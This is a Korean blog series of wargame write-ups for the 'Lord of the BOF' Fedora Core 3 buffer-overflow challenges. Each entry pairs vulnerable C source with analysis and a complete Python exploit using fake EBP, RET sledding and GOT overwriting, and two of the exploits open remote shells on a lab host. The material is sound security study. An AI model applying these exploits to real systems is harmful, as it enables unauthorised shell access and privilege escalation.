Fedora Core 3 - Challenge

ALL CLEAR!

 

 

 

 

Fedora Core 3 - Challenge [evil_wizard -> dark_stone


[Summary]

1. printf의 GOT를 system 함수 주소로 변조한 후, printf에 "/bin/sh"를 인자로 주고 실행하여 쉘을 획득할 수 있다.


[Sourcecode]

/*
	The Lord of the BOF : The Fellowship of the BOF 
	- dark_stone
	- Remote BOF on Fedora Core 3 
	- hint : GOT overwriting again
	- port : TCP 8888
*/

#include <stdio.h>

// magic potion for you
void pop_pop_ret(void)
{
	asm("pop %eax");
	asm("pop %eax");
	asm("ret");
}
 
int main()
{
	char buffer[256];
	char saved_sfp[4];
	int length; 
	char temp[1024];

	printf("dark_stone : how fresh meat you are!\n");
	printf("you : ");
	fflush(stdout);

	// give me a food
	fgets(temp, 1024, stdin);

	// for disturbance RET sleding
	length = strlen(temp);
   
	// save sfp 
	memcpy(saved_sfp, buffer+264, 4);
 
	// overflow!!
	strcpy(buffer, temp);

	// restore sfp 
	memcpy(buffer+264, saved_sfp, 4);

	// disturbance RET sleding
	memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));

	// buffer cleaning 
	memset(0xf6ffe000, 0, 0xf7000000-0xf6ffe000);

	printf("%s\n", buffer);
}


[Analysis] 

이번 문제는 49행의 memset 함수에서 stdin buffer를 0으로 초기화 하므로 Fedora Core 3 - Challenge [iron_golem -> hell_fire] 의 풀이법 처럼 stdin buffer를 이용할 수 없다. 따라서 printf의 GOT에 있는 값을 system 함수 주소로 변조하여 printf 함수를 실행하면 system 함수가 실행되도록 할 것이다.

gdb에서 info file 명령을 통해 바이너리의 PLT, GOT 영역을 확인할 수 있다. 위와 같이 PLT에는 jmp 명령을 통해 GOT를 참조하여 실제 함수로 이동하게 된다. 따라서 해당 함수에 대한 GOT를 다른 함수로 변조하게 되면 PLT를 실행하였을때, 다른 함수를 실행하게 할 수 있다. 필자는 printf의 GOT를 system으로 변조하고 printf에 /bin/sh를 인자로 주고 실행하여 쉘을 획득할 수 있었다.


[Exploit]

import time
from pwn import *
 
context(arch='i386',os='linux')
 
p = remote("192.168.0.103", 8888)
  
ppr = 0x080484f3
printf_plt = 0x8048408
printf_got = 0x804984c
strcpy_plt = 0x8048438
bss = 0x08049868

# 0x7507c0 <system> gadget

gadget_c0 = 0x80484d0
gadget_07 = 0x8048abc
gadget_75 = 0x8048bf8

# "/bin/sh\x00" gadget

gadget_slash = 0x8048114
gadget_b = 0x804829a
gadget_in = 0x80482ab
gadget_sh = 0x80482c8
gadget_null = 0x8048007

payload = "A" * 268				# dummy

# write "/bin/sh\x00" in bss
 
payload += p32(strcpy_plt)		# strcpy plt
payload += p32(ppr)				# pop_pop_ret
payload += p32(bss)				# bss
payload += p32(gadget_slash)	# "/"

payload += p32(strcpy_plt)		# strcpy plt
payload += p32(ppr)				# pop_pop_ret
payload += p32(bss+1)			# bss
payload += p32(gadget_b)		# "b"

payload += p32(strcpy_plt)		# strcpy plt
payload += p32(ppr)				# pop_pop_ret
payload += p32(bss+2)			# bss
payload += p32(gadget_in)		# "in"

payload += p32(strcpy_plt)		# strcpy plt
payload += p32(ppr)				# pop_pop_ret
payload += p32(bss+4)			# bss
payload += p32(gadget_slash)	# "/"

payload += p32(strcpy_plt)		# strcpy plt
payload += p32(ppr)				# pop_pop_ret
payload += p32(bss+5)			# bss
payload += p32(gadget_sh)		# "sh"

payload += p32(strcpy_plt)		# strcpy plt
payload += p32(ppr)				# pop_pop_ret
payload += p32(bss+7)			# bss
payload += p32(gadget_null)		# "\x00"

# printf GOT overwriting 

payload += p32(strcpy_plt)		# strcpy plt
payload += p32(ppr)				# pop_pop_ret
payload += p32(printf_got)		# printf got
payload += p32(gadget_c0)		# \xc0

payload += p32(strcpy_plt)		# strcpy plt
payload += p32(ppr)				# pop_pop_ret
payload += p32(printf_got+1)	# printf got + 1
payload += p32(gadget_07)		# \x07

payload += p32(strcpy_plt)		# strcpy plt
payload += p32(ppr)				# pop_pop_ret
payload += p32(printf_got+2)	# printf got + 2
payload += p32(gadget_75)		# \x75

payload += p32(strcpy_plt)		# strcpy plt
payload += p32(ppr)				# pop_pop_ret
payload += p32(printf_got+3)	# printf got + 3
payload += p32(gadget_null)		# \x00

# exploit

payload += p32(printf_plt)		# system
payload += p32(ppr)				# pop_pop_ret
payload += p32(bss)				# "/bin/sh\x00"
payload += "AAAA"				# dummy

payload += p32(printf_plt)		# system
payload += p32(ppr)				# pop_pop_ret
payload += p32(bss)				# "/bin/sh\x00"
payload += "AAAA"				# dummy

if __name__ == '__main__':
    p.recvuntil("you : ")
    p.sendline(payload)
    p.interactive()


잘못된 기재된 내용이나 수정해야 할 점이 있으면 댓글이나 park.uiseong[at]gmail.com으로 연락주시면 감사하겠습니다.

혼자 공부하면서 적은 글이라 사실과 다른 내용이 있을 수 있습니다.  


Fedora Core 3 - Challenge [hell_fire-> evil_wizard


[Summary]

1. printf의 GOT를 execl 함수 주소로 변조한 후, printf에 "amic"을 인자로 주고 심볼릭 링크를 통해 system("/bin/sh")를 실행하는 프로그램을 실행하도록 하여 쉘을 획득할 수 있다. 


[Sourcecode]

/*
	The Lord of the BOF : The Fellowship of the BOF 
	- evil_wizard
	- Local BOF on Fedora Core 3 
	- hint : GOT overwriting
*/

// magic potion for you
void pop_pop_ret(void)
{
	asm("pop %eax");
	asm("pop %eax");
	asm("ret");
}
 
int main(int argc, char *argv[])
{
	char buffer[256];
	char saved_sfp[4];
	int length; 

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// for disturbance RET sleding
	length = strlen(argv[1]);
   
	// healing potion for you
	setreuid(geteuid(), geteuid());
	setregid(getegid(), getegid());

	// save sfp 
	memcpy(saved_sfp, buffer+264, 4);
 
	// overflow!!
	strcpy(buffer, argv[1]);

	// restore sfp 
	memcpy(buffer+264, saved_sfp, 4);

	// disturbance RET sleding
	memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));

	printf("%s\n", buffer);
}


[Analysis] 

gdb에서 info file 명령을 통해 바이너리의 PLT, GOT 영역을 확인할 수 있다. 위와 같이 PLT에는 jmp 명령을 통해 GOT를 참조하여 실제 함수로 이동하게 된다. 따라서 해당 함수에 대한 GOT를 다른 함수로 변조하게 되면 PLT를 실행하였을때, 다른 함수를 실행하게 할 수 있다. 필자는 printf의 GOT를 execl으로 변조하고 printf에 amic을 인자로 주고 실행하여 쉘을 획득할 수 있었다.


[Exploit]

import os
from struct import *
 
p = lambda x : pack("<I", x)
 
ppr = 0x0804854f
strcpy_plt = 0x8048494
printf_plt = 0x8048424
printf_got = 0x8049884
gadget_7a = 0x8048898
gadget_57 = 0x804969b
gadget_20 = 0x80480e4
gadget_00 = 0x8048007
shell = 0x8048a86

payload = 'A'*268   		# dummy

payload += p(strcpy_plt)	# strcpy plt
payload += p(ppr)			# pop_pop_ret
payload += p(printf_got)	# printf got
payload += p(gadget_20)		# 20

payload += p(strcpy_plt)	# strcpy plt
payload += p(ppr)			# pop_pop_ret
payload += p(printf_got+1)	# printf got + 1
payload += p(gadget_57)		# 57

payload += p(strcpy_plt)	# strcpy plt
payload += p(ppr)			# pop_pop_ret
payload += p(printf_got+2)	# printf got + 2
payload += p(gadget_7a)		# 7a

payload += p(strcpy_plt)	# strcpy plt
payload += p(ppr)			# pop_pop_ret
payload += p(printf_got+3)	# printf got + 3
payload += p(gadget_00)		# 00

payload += p(printf_plt)	# printf plt
payload += "AAAA"			# dummy
payload += p(shell)			# evil_wizard : 0x8048a86 ("amic")
payload += p(shell)			# evil_wizard : 0x8048a86 ("amic")
 
target = 'evil_wizard'

os.execv(target, (target, payload))


잘못된 기재된 내용이나 수정해야 할 점이 있으면 댓글이나 park.uiseong[at]gmail.com으로 연락주시면 감사하겠습니다.

혼자 공부하면서 적은 글이라 사실과 다른 내용이 있을 수 있습니다.  


Fedora Core 3 - Challenge [iron_golem -> hell_fire


[Summary]

1. buffer overflow 기법을 통해 RET를 변조한 후 leave 명령을 실행하여 ebp 레지스터와 eip 레지스터를 조작할 수 있다.

2. stdin의 임시버퍼를 이용하여 변조된 인자를 구성한 후 execl 함수를 실행시켜 쉘을 획득할 수 있다.  


[Sourcecode]

/*
	The Lord of the BOF : The Fellowship of the BOF 
	- hell_fire
	- Remote BOF on Fedora Core 3 
	- hint : another fake ebp or got overwriting 
	- port : TCP 7777
*/

#include <stdio.h>

int main()
{
	char buffer[256];
	char saved_sfp[4];
	char temp[1024];
  
	printf("hell_fire : What's this smell?\n");
	printf("you : ");
	fflush(stdout);

	// give me a food
	fgets(temp, 1024, stdin);
   
	// save sfp 
	memcpy(saved_sfp, buffer+264, 4);
 
	// overflow!!
	strcpy(buffer, temp);

	// restore sfp 
	memcpy(buffer+264, saved_sfp, 4);

	printf("%s\n", buffer);
}


[Analysis] 

main+222(ret)에 break point를 걸고 레지스터를 살펴보면 esp 레지스터와 ebp 레지스터가 92 바이트만큼 차이가 있는 것을 알 수 있다. buffer overflow를 통해 eip 레지스터를 main 함수의 leave 위치로 이동하게 되면 leave 명령이 실행되면서, 현재 ebp 레지스터에 존재하는 값이 esp로 이동하고 해당 주소에서 4바이트 만큼을 ebp에 입력한다. 따라서 leave를 실행 시킨 후 88 바이트 뒤에 ebp 레지스터에 입력될 값을 구성하게 되면 ebp 레지스터의 값을 변조할 수 있게 된다. 이어 ret 명령 또한 연달아 실행되므로 특정 함수도 실행시킬 수 있다. 

특정 함수와 실행될 인자까지 조작할 수 있게 되었지만, 어떤 함수와 인자를 조작해 단 한 번 실행하여 쉘을 획득할 수 있느냐가 문제 해결의 관건인데, 이 또한 stdin을 이용하여 우회할 수 있다. stdin을 살펴보면 null byte를 입력하여도 payload가 끊기지 않고 저장되는 것을 확인할 수 있다. 이를 이용하여 payload 제일 뒷 부분에 "/bin/sh\x00"를 삽입한 후 execl 함수에 해당 값의 주소를 인자로 넘겨주면 execl 함수를 통해 /bin/sh가 실행되고 성공적으로 쉘을 획득 할 수 있다.


[Exploit]

from pwn import *

context(arch='i386',os='linux')

p = remote("192.168.0.103", 7777)
 
leave_ret = 0x8048561
execl = 0x7a5720
fake_ebp = 0xf6ffe16c
binsh = 0xf6ffe180

payload = "A" * 268			# dummy
payload += p32(leave_ret)	# leave ret
payload += "B" * 88			# dummy
payload += p32(fake_ebp)	# fake ebp, stdin
payload += p32(execl + 3)	# skip prolog
payload += "C" * 4			# dummy
payload += p32(binsh)		# &"/bin/sh"
payload += p32(binsh)		# &"/bin/sh"
payload += "\x00" * 4		# null byte
payload += "/bin/sh\x00"	# "/bin/sh"

if __name__ == '__main__':
	p.sendline(payload)
	p.interactive()



잘못된 기재된 내용이나 수정해야 할 점이 있으면 댓글이나 park.uiseong[at]gmail.com으로 연락주시면 감사하겠습니다.

혼자 공부하면서 적은 글이라 사실과 다른 내용이 있을 수 있습니다.  

Fedora Core 3 - Challenge [iron_golem -> dark_eyes] 


[Summary]

1. RET sleding 기법을 통해 계속하여 ret 명령을 실행할 수 있으므로 스택에 존재하는 값을 적절히 이용하여 인자를 구성할 수 있다. RET sleding 기법을 통해 미끄러지다가 어느 순간 스택에 존재하는 값이 인자로 적합하다고 판단될 경우 ret 명령을 멈추고 RTL(Return To Library)을 통해 해당 인자를 전달할 함수의 주소를 입력하면 된다.


[Sourcecode]

/*
	The Lord of the BOF : The Fellowship of the BOF 
	- dark_eyes
	- Local BOF on Fedora Core 3 
	- hint : RET sleding
*/

int main(int argc, char *argv[])
{
	char buffer[256];
	char saved_sfp[4];
    
	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}
   
	// save sfp 
	memcpy(saved_sfp, buffer+264, 4);
 
	// overflow!!
	strcpy(buffer, argv[1]);

	// restore sfp 
	memcpy(buffer+264, saved_sfp, 4);

	printf("%s\n", buffer);
}


[Analysis] 

main의 ret 명령 실행 전에 break point를 설정하고 스택을 살펴보면, 스택에 인자로 적합한 값이 0xfee9b58c 주소에 있음을 알 수 있다. 해당 값을 인자로 전달하기 위해서는 현재 스택에 ret 될 값에서 8 만큼 뒤에 있는 값에 RTL(Return To Library)이 실행되어야 하는데 이렇게 실행하기 위해서는 RET Sleding을 통해 ret 명령을 2번 실행하여 스택에서 8만큼 뒤로 이동할 수 있다. 페이로드 구성은 dummy(268) + ret + ret + execl 로 구성하면 된다. 


[Exploit]

import os
from struct import *

p = lambda x : pack("<I", x)

execl = 0x7a5720
ret = 0x080484b9

payload = 'A'*268 	# dummy
payload += p(ret) * 2 	# ret sled
payload += p(execl)  	# execl

target = 'dark_eyes'

os.execv(target, (target, payload[:-1]))


잘못된 기재된 내용이나 수정해야 할 점이 있으면 댓글이나 park.uiseong[at]gmail.com으로 연락주시면 감사하겠습니다.

혼자 공부하면서 적은 글이라 사실과 다른 내용이 있을 수 있습니다.  

Fedora Core 3 - Challenge [gate -> iron_golem] 


[Summary]

1. system 함수는 내부적으로 /bin/sh을 이용하여 "-c" 옵션을 사용한 후 사용자의 프로그램을 실행하는 방식으로 작동하므로 setuid 함수군들을 호출하여 권한을 재설정해야만 하기 때문에 execl 함수를 사용한다.

2. fake ebp를 이용하여 ebp를 조작할 수 있으므로 execl 함수 실행시 ebp + 8에 문자열의 주소를 위치시켜 해당 문자열을 파일명으로 가진 파일이 실행되도록 할 수 있다.


[Sourcecode]

/*
	The Lord of the BOF : The Fellowship of the BOF 
	- iron_golem
	- Local BOF on Fedora Core 3 
	- hint : fake ebp
*/
 
int main(int argc, char *argv[])
{
    char buffer[256];

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}


[Analysis] 

일단 source code는 매우 간단하지만, fedora core 3 부터 random stack, ascii armor, NX 등의 보호기법이 추가되어 기존의 lob에 있는 문제와는 다르게 스택을 이용할 수 없다. 또한, ascii armor 때문에 라이브러리 호출 시 0x00(null byte)가 존재하므로 연속적인 라이브러리 호출이 불가능하고 문자열 마지막을 의미하는 0x00(null byte)의 힘을 빌어 payload 마지막에 단 한 번 RTL이 가능하다.  

먼저 해당 문제에서 fake ebp라는 힌트를 주고 있다. fake ebp 기법은 buffer 보다 많은 값을 입력시켜 스택에 존재하는 SFP를 다른 값으로 덮어 씌우고, leave 명령을 실행할 때 덮어 씌운 값이 ebp 레지스터에 입력 되게하여 ebp를 변조하는 기법이다. 단순히 ebp만 변조하는데 어떻게 프로그램의 흐름을 변경할 수 있는 것이냐면, 함수를 실행할 때 ebp+8를 기준으로 4바이트 씩 첫번째 인자, 두번째 인자 순으로 전달하게 되는데 여기에서 ebp 레지스터를 조작할 수 있다면 해당 함수를 실행할 때 조작된 인자를 전달할 수 있다는 말이 된다.

그렇다면 SFP를 다른 값으로 변조하고 RET 값 또한 system이나 execl와 같은 시스템 명령 실행 함수로 변조하고, 해당 함수 실행시 ebp+8의 위치에 실행하고 싶은 명령 문자열의 주소만 맞춰준다면, 성공적으로 임의 명령이 실행 될 것이다. 

하지만, Fedora Core 3 부터는 system 함수를 사용하지 못하는 이유가 있다. execl과는 구조적으로 살짝 다르기 때문인데 beist님이 작성한 글(FEDORA CORE2에서 EXEC-SHIELD를 우회하여 STACK 기반 OVERFLOW 공격 기법 한번에 성공하기)에도 나와 있지만, system 함수는 내부적으로 /bin/sh을 이용하여 "-c" 옵션을 사용한 후 사용자의 프로그램을 실행하는 방식으로 작동하는데, 이 때 /bin/sh에서는 실행시킬 해당 프로세스가 Set-UID모드라 하더라도 사용자의 권한을 다시 원 상태로 돌려놓고 실행하기 때문에 root를 얻기 위해서는 setuid 함수군들을 호출하여 권한을 재설정해야만 하기 때문이다. 반면에 execl 함수는 현재 실행되고 있는 프로그램이 실행한 명령으로 덮어씌워(?)지기 때문에 자체적으로 Set-UID 모드가 적용이 되는 것 같다.

[LoB (Red hat linux 9.0) 에서 setuid 비트가 설정된 파일 실행 시 system 권한 확인]

[Fedora Core 3에서 setuid 비트가 설정된 파일 실행 시 system 권한 확인]

[Fedora Core 3에서 setuid 비트가 설정된 파일 실행 시 setreuid 함수 실행 후 system 권한 확인]

실행파일에 setuid 비트가 설정되어 있을때, lob에서는 system 함수만 사용해도 권한 상승이 되지만 Fedora Core 3에서는 system 함수만 사용하였을때 권한 상승이 되지 않는 것을 알 수 있다. Fedora Core 3에서 system 함수를 실행할 때 Set-UID 모드가 설정되어 있더라도 프로그램에서 setreuid 함수를 실행하여야만 권한이 상승되는 것을 확인 하였다.

[Fedora Core 3에서 setuid 비트가 설정된 파일 실행 시 execl 권한 확인]

하지만 위의 실험 결과와는 다르게 Fedora Core 3에서 execl 함수를 사용하게 되면 setreuid 함수를 실행하지 않아도 euid가 해당 프로그램의 소유자로 변경이 되어 setreuid를 실행하지 않아도 권한이 상승된 것을 확인할 수 있다.

[Fedora Core 3에서 system 함수 실행 시 환경 변수 확인]

[Fedora Core 3에서 execl 함수 실행 시 환경 변수 확인]

몇 가지 더 테스트를 해보면 system 함수를 통해 env 명령 실행 시에 _라는 환경변수가 실행 명령인 /bin/env로 설정되어 있는 것을 확인할 수 있고, system 함수 실행 이후 다시 main으로 돌아와 다음의 printf 함수를 실행한다. 하지만, execl 함수를 사용하여 env 명령 실행 시 _라는 환경변수가 env가 아닌 실행한 프로그램 명과 동일하고, execl 다음에 존재하는 printf가 실행이 되지 않는다. 따라서 이 실험을 통해 execl 함수를 실행하게 되면 현재 실행되고 있는 프로그램이 실행한 명령으로 덮어씌워(?)진다는 것을 알 수 있다.

[execl 함수인자로 사용할 문자열]

execl 함수를 사용하여야 한다는 것을 알았으므로 ebp를 변조하여 실행할 수 있는 인자 값을 찾는다.  execl 실행 시 ebp+8 지점에 존재해야하므로 0x8049630에서 8을 뺀 값을 이용하면 된다. 또한 RET를 변조하여 execl 함수 호출 시에도 스택 프레임 프롤로그를 제외한 execl+3 값을 이용하여야 ebp가 변경되지 않는다.


[Exploit]

import os
from struct import *

p = lambda x : pack("<I", x)

execl = 0x7a5720
fake_ebp = 0x8049630

payload = 'A'*264 	# dummy
payload += p(fake_ebp - 8)	# fake ebp
payload += p(execl + 3) # skip execl prolog

target = 'iron_golem'

os.execv(target, (target, payload[:-1]))


잘못된 기재된 내용이나 수정해야 할 점이 있으면 댓글이나 park.uiseong[at]gmail.com으로 연락주시면 감사하겠습니다.

혼자 공부하면서 적은 글이라 사실과 다른 내용이 있을 수 있습니다.  


Fedora Core 3 - Challenge [Intro]


[Environment]

Stack Dummy : O

Down privilege of bash : O

Random Stack : O

스택의 주소가 프로그램이 실행될 때 마다 랜덤으로 변경되므로 스택에 존재하는 환경변수, 버퍼, 파일명 등을 이용하여 공격할 수 없음 

Random Library : X

Random Program Binary Mapped : X

ASCII Armor : O

라이브러리의 영역의 상위 주소에 0x00(null)의 값을 포함시켜 RTL(Return To Library) 공격 시 연속적인 라이브러리 호출이 불가능함

Non-Executable Stack : O

stack 영역에 실행 권한(x)을 제거하여 stack 영역에 shellcode를 로드한다고 하더라도 shellcode의 실행을 방지함

Non-Executable Heap : O

Stack Carany : X

Stack Smashing Protector : X


[Challenge]

gate -> iron_golem : Fake_SFP + Ascii Armor

iron_golem -> dark_eyes : RET Sleding

dark_eyes -> hell_fire : another fake_ebp or got overwriting

hell_fire -> evil_wizard : POP POP RET

evil_wizard -> dark_stone : POP POP RET / Remote




gdb를 이용해 보기 위해 dark_eyes 파일을 복사한다.



힌트를 보면 ret sled라고 나와있는데, ret gadget을 찾기 위해 브레이크를 걸고 라이브러리 영역을 뒤져보자.




ret gadget을 찾았다.



다음은 execl의 주소를 찾았다.



몇번 실행해보았더니 위의 0x00730df5 값은 바뀌지 않는 것을 알 수 있다.

ret sled를 이용해 스택의 밑으로 계속 접근할 수 있는데 그 점을 이용해서 원하는 곳 까지 내려갈 수 있다.

위의 바뀌지 않는 값을 이용하여 execl의 매개변수로 사용한다.



위의 0x00730df5에 있는 문자열을 가져와 공격파일의 심볼릭 링크 명으로 만들어야한다.








gdb로 실행해보기 위해 복사본을 만든다.




EIP에 덮어쓸 execl 주소를 찾는다.





라이브러리 영역 중 execl의 매개변수로 들어갈 만한 위치를 찾는다.

int execl( const char *path, const char *arg, ...);


execl 함수는 매개변수가 3개 이므로 위의 매개변수를 맞춰줘야하는데 fake ebp 기법을 이용하여 execl 함수로 매개변수를 넣어줄 수 있다.


다시 말하면 매개변수는 ebp를 기준으로 +8이 첫번째 인자... 순으로 접근하는데 sfp를 이용하여

ebp를 변조할 수 있으므로 넣고 싶은 매개변수가 있는 주소의 -8 위치로 변조하게 되면 해당 위치가 매개변수로 입력 될 수 있다.


첫번째 인자에만 실행파일 명이 들어가면 실행 되므로 실행파일을 작성해보도록 하겠다.





실행파일을 작성하고 심볼릭 링크로 해당 파일의 이름을 0x00783880의 주소의 문자로 바꿔준다.


Payload는 [dummy] + [라이브러리 영억의 매개변수 Gadget] +&execl+3] 이다.



+ Recent posts